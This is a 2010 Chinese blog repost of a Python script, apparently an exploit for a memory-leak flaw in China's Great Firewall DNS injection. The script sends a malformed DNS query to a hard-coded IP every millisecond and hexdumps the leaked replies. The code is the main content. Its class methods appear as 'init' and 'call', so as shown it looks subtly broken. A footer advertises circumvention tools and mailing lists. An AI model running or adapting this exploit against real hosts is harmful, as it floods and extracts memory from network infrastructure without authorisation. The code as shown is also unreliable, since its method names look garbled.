重新贴一下GFW溢出的Python代码
by GFW BLOG 功夫网
at 2010-10-17 19:48:02
original http://feedproxy.google.com/~r/chinagfwblog/~3/abjLeaZXC64/gfwpython.html
来源:https://1984bbs.org/viewthread.php?tid=758&extra=page%3D1
重新贴一下GFW溢出的Python代码
复制内容到剪贴板
代码:
import socket
import binascii
import time
import threading
class DataReceiver:
def init(self, s):
self.s = s
def call(self):
while True:
r = s.recvfrom(65535)[0]
i = 0
while i < len(r):
print '%04x:' % i,
p = list(r[i : i + 16])
for j in range(0, len(p)):
print binascii.b2a_hex(p[j]),
if p[j] < ' ' or p[j] > '~':
p[j] = '.'
print ' ' * ((15 - j) * 3),
print "".join(p)
i += 16
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
threading.Thread(target = DataReceiver(s)).start()
while True:
s.sendto("\0\0\1\0\0\1\0\0\0\0\0\0\6wux.ru\377", ("98.137.149.56", 53))
time.sleep(0.001)
发一封标题为GFW的邮件到fanqiang70ma@gmail.com,就可获取翻墙利器赛风新地址。附《数字时代》赠阅版。被墙网站收集:http://delicious.com/GFWbookmark,请使用GFWlist为标签,帮助我们收集被墙网站的信息。敬请订阅GFW Blog:http://feeds2.feedburner.com/chinagfwblog,邮件订阅:https://groups.google.com/group/gfw-blog。更多翻墙工具介绍和下载:
推客浏览器(http://twitbrowser.net/blog/,墙内镜像:http://tm005.nl.am/),Sesawe(http://www.sesawwe.net/)。翻墙互助小组邮件列表: http://groups.google.com/group/bypassgfw。